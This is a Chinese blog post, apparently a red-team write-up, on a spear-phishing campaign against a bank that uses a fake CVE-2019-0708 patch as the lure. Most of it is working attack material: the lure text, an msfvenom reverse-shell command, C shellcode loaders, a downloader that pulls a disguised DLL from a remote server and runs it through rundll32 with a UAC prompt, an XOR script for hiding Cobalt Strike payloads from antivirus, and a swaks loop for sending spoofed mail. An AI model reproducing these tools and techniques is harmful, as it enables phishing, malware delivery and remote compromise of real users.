当前位置:   article > 正文

鱼叉攻击-尝试

鱼叉攻击-尝试

作者:倾旋

0x00 前言

本次是授权的鱼叉案例,也都是尝试,经验不够丰富

0x01 鱼叉攻击

“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马。

0x02 准备开始

久久拿不到shell,遂开始通过鱼叉攻击,希望获得一些收获

询问是否允许支持这类技术手段:

接着找同事提供素材,一封客户的邮件,里面包含了邮件签名、部门名称、Logo

0x03 制作模板

大致内容为:

标题:上海xxx关于业务网、办公网终端安全紧急加固公告

背景

北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。

受影响的版本

  • Windows 7
  • Windows Server 2008 R2
  • Windows Server 2008
  • Windows Server 2003
  • Windows XP

由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害,由总行信息科技部研究决定,先推行漏洞加固补丁,确保业务网、办公网全部修补漏洞。

安装方式

解压“上海xxxRDP漏洞补丁.zip”,解压密码:xxx123,解压成功后,双击运行“RDP-VulnPatch.exe”即可:

修复成功会提示“修复漏洞成功!”

上海xxx

二零一九年五月二十日

其中解压密码也是目标常见的弱口令。

0x04 制作木马

通过手工制作一个Windows/shell/reverse_tcp的木马DLL,先获得Msfvenom生成的shellcode。

  1. $ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20
  2. 复制代码

用之前的QQ拼音输入法DLL劫持漏洞,来一次白利用。

  1. VOID shdjshjdhsjhdjshdjs() {
  2. unsigned char buff[] =
  3. "\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
  4. "\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17"
  5. "\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2";
  6. PVOID p = NULL;
  7. if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) {
  8. printf("error");
  9. }
  10. if (!(CopyMemory(p, buff, sizeof(buff)))) {
  11. printf("error");
  12. }
  13. CODE code = (CODE)p;
  14. code();
  15. }
  16. 复制代码

参考文章:payloads.online/archivers/2…

0x05 搜集邮箱

在百度文库搜索到来一些:

图就不贴了,打码麻烦。。。

写了一个bash脚本用于发送伪造邮件:

  1. for line in `cat mail`
  2. do
  3. echo "$line"
  4. sed "s/xx@xx.net/${line}/g" data.eml | swaks --to $line --from xx@smtp2go.com --h-From '=?UTF-8?B?xx?= <xx@xx.xx.cn>' --server mail.smtp2go.com -p 2525 -au USER -ap PASS --data - > /tmp/send.log
  5. done
  6. 复制代码

data.eml是转换出来的邮件正文

该技术是可以绕过SPF及DKIM检测的。

具体参考:payloads.online/archivers/2…

由于是反弹cmd做测试,所以不会被360拦截

邮件效果如下:

0x06 一点点收获

经过确认,不是客户的机器。

0x07 第二个版本

由于之前使用的是QQ输入法签名加载器,当鼠标移动上去会显示程序描述信息,这不是我想要的结果,于是开始手撸木马….

开发环境:

  • Windows 10 x64
  • Visual Studio 2015

测试环境:

  • Windows 7 x64
  • 360卫士

0x08 木马思路

写一个下载器充当漏洞补丁程序,下载器再去服务器下载DLL模块,使用Rundll32进行加载运行。

期间涉及到窗口提示优化、程序资源信息优化、权限申请

效果如下:

下载器代码:

  1. // Win32Project5.cpp : 定义控制台应用程序的入口点。
  2. //
  3. #include "stdafx.h"
  4. #include <Windows.h>
  5. #include <iostream>
  6. #include <UrlMon.h>
  7. #pragma comment(lib, "urlmon.lib")
  8. using namespace std;
  9. HRESULT DownloadFile(PTCHAR URL, PTCHAR File);
  10. static TCHAR URL[] = TEXT("http://**.**.**.**:8000/fff.jpeg");
  11. static TCHAR SaveFile[MAX_PATH];
  12. static TCHAR FileName[] = TEXT("\\fff.dll");
  13. // 下载文件
  14. HRESULT DownloadFile(PTCHAR URL, PTCHAR File) {
  15. HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL);
  16. return hr;
  17. }
  18. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  19. {
  20. ZeroMemory(SaveFile, MAX_PATH);
  21. GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);
  22. lstrcatW(SaveFile, FileName);
  23. if (DownloadFile(URL, SaveFile) != S_OK)
  24. {
  25. // wprintf(TEXT("Error: %d \n"), GetLastError());
  26. MessageBox(NULL, TEXT("修复漏洞失败,请检查网络,是否能够连接到微软服务器!"), TEXT("上海xxx"), MB_ICONWARNING | MB_OK);
  27. return 0;
  28. }
  29. lstrcatW(SaveFile, TEXT(",rundll32dllfun"));
  30. TCHAR opt[MAX_PATH];
  31. ZeroMemory(opt, MAX_PATH);
  32. lstrcatW(opt, TEXT(" "));
  33. lstrcatW(opt, SaveFile);
  34. PROCESS_INFORMATION pi;
  35. STARTUPINFO si = { sizeof(si) };
  36. si.cb = sizeof(si);
  37. si.wShowWindow = TRUE;
  38. CreateProcess(
  39. TEXT("C:\\Windows\\System32\\rundll32.exe"),
  40. opt,
  41. NULL,
  42. NULL,
  43. FALSE,
  44. CREATE_NEW_CONSOLE,
  45. NULL,
  46. NULL,
  47. &si,
  48. &pi);
  49. cout << GetLastError() << endl;
  50. MessageBox(NULL, TEXT("修复漏洞成功!"), TEXT("上海xxx"), MB_OK | MB_ICONINFORMATION);
  51. return 0;
  52. }
  53. 复制代码

fff.jpeg的代码:

  1. // Win32Project6.cpp : 定义 DLL 应用程序的导出函数。
  2. //
  3. #include "stdafx.h"
  4. #include "Win32Project6.h"
  5. typedef void(_stdcall *CODE)();
  6. // 这是导出变量的一个示例
  7. WIN32PROJECT6_API int nWin32Project6=0;
  8. extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
  9. {
  10. unsigned char buf[] =
  11. "\xbf\xaa\x57\x39\xb0\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
  12. "\xd6\x83\xe8\xfc\x31\x78\x10\x03\x78\x10\x48\xa2\x81\x35\xa2"
  13. "\x82\x9c\xef\x7f\xc5\x15\x34\x8b\xad\xe6\xfd\xc2\x9d\x38\xbd"
  14. "\x31\x21\x78\x54\xba\xce\x82\xb4\xcc\xe5\x68\x8e\x22\x28\xd7"
  15. "\x06\x8c\x96\x0a\x7b\xed\x44\xf0\x94\x65\x0e\xa4\x3b\x2e\xcb"
  16. "\xe7\x17\x60\xaf\x1d\xa4\x57\x1f\xb1\xf3\x01\x31\x5c\x6a\x97"
  17. "\xf...省略...";
  18. PVOID p = NULL;
  19. p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  20. if (p != NULL)
  21. {
  22. memcpy(p, buf, sizeof(buf));
  23. CODE code = (CODE)p;
  24. code();
  25. }
  26. return;
  27. }
  28. 复制代码

其中extern "C" _declspec(dllexport) void __cdecl rundll32dllfun是符合rundll32加载的固定函数定义格式。

当木马运行后,会在进程列表创建rundll32.exe,它是一个系统文件。

UAC

为了使木马获取更高的权限,我开启了管理员权限申请:

点击是:

提示修复成功,然后程序关闭。

同时,本地机器上会生成一个dll文件:

进程中也会多出一个rundll32,360不会拦截:

服务端提供下载的服务器会多出日志:

0x09 发送邮件

邮箱地址通过http://www.skymem.info 采集到200多个,同时也写了一个脚本:

估计要跑一晚上了,明天看收获吧,如果有的话,继续写。

0x10 升级木马

第一版是一个败笔,应该关注更多视觉感受,比如图标、logo,暗示它这个文件是可信的,不应该使用其他程序用作加载器,来达到免杀的效果。如果第二版的木马当作第一版去发,我觉得成功率80%。

但是我觉得光采用反弹cmd的太烂了,木马要像模像样点。

于是,开始对木马进行改造,下载器文件不变,只需要更新服务器上的fff.jpeg这个DLL即可,因为每次运行,都会下载这个DLL,然后用rundll32调用。

我想使得它上线cobaltstrike,绕过Windows Defender基本上没啥问题了,既保证之前的邮件木马可用,又能保证新的代码更新。

重写rundll32dllfun即可:

fff.jpeg:

  1. extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,
  2. int nCmdShow)
  3. {
  4. CHAR cpu_code[] =
  5. "\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21...省略部分....\x3e\x38\x27\x38\x30\x27\x38\x3d\x3d\x27\x3f\x30\x09\x09\x09\x09\x09";
  6. DWORD dwCodeLength = sizeof(cpu_code);
  7. DWORD dwOldProtect = NULL;
  8. for (DWORD i = 0; i < dwCodeLength; i++) {
  9. cpu_code[i] ^= 9;
  10. }
  11. PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  12. if (pCodeSpace != NULL)
  13. {
  14. CopyMemory(pCodeSpace, cpu_code, dwCodeLength);
  15. Sleep(200);
  16. VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect);
  17. CODE coder = (CODE)pCodeSpace;
  18. HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL);
  19. WaitForSingleObject(hThread, INFINITE);
  20. }
  21. return;
  22. }
  23. 复制代码

这里采用了异或解码shellcode、虚拟内存页属性调整、创建线程的方式执行shellcode,绕过90%的杀软..

创建线程的好处就是,可以调用WaitForSingleObject来使得shellcode执行完毕进程才退出。

好几次调试的时候,进程执行完毕了shellcode还没运行,使用WaitForSingleObject就解决了这个问题~

为此为还写了一个异或脚本:

  1. import sys
  2. from argparse import ArgumentParser, FileType
  3. def process_bin(num, src_fp, dst_fp):
  4. shellcode = ''
  5. shellcode_size = 0
  6. try:
  7. while True:
  8. code = src_fp.read(1)
  9. if code == '':
  10. break
  11. base10 = ord(code) ^ num
  12. code_hex = hex(base10)
  13. code_hex = code_hex.replace('0x','')
  14. if(len(code_hex) == 1):
  15. code_hex = '0' + code_hex
  16. shellcode += '\\x' + code_hex
  17. shellcode_size += 1
  18. src_fp.close()
  19. dst_fp.write(shellcode)
  20. dst_fp.close()
  21. return shellcode_size
  22. except Exception as e:
  23. sys.stderr.writelines(str(e))
  24. def main():
  25. parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com')
  26. parser.add_argument('-v','--version',nargs='?')
  27. parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
  28. parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
  29. parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
  30. args = parser.parse_args()
  31. shellcode_size = process_bin(args.num, args.src, args.dst)
  32. sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
  33. if __name__ == "__main__":
  34. main()
  35. 复制代码

生成一个payload.bin:

选择raw:

使用效果:

把生成的文件shellcode直接可以放入源代码进行编译。

2/70的战绩:

www.virustotal.com/#/file/5762…

微步在线:

s.threatbook.cn/report/file…

0/25的战绩,一个都未杀出:

更新了fff.jpeg后,我只需要在cobaltstrike上等待新上线的机器即可。。。

只要不停的发。。

0x11 Cobaltstrike Spear Phish

Cobaltstrike已经具备了伪造邮件的功能,不用再记忆swaks命令了。

参考:cobaltstrike.com/help-spear-…

为了使得smtp2go绕过spf检查,所以在Bunce to填写xx@smtp2go.com

这两天我的样本被沙箱疯狂分析:

不过这也正常…

0x12 总结

其实钓鱼:

  • 多搜集信息
  • 多在附件里加一些目标相关的信息,降低心理防御
  • 多换位思考一下就都明白了
  • 多一些心理暗示的东西(木马图标、程序描述、UAC?)
  • 可广式撒网
  • 木马一定要可靠
  • 白利用似乎只适合维持权限

网上那么多骗子,和防骗教育,为什么总是有人上钩,100个人没有,那1万个总会有。

附加了UAC属性的应用程序上面会有一个盾牌,有些用户误以为它是安全的。

转载于:https://juejin.im/post/5cf15d946fb9a07ef201086e

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/637698
推荐阅读
相关标签
  

闽ICP备14008679号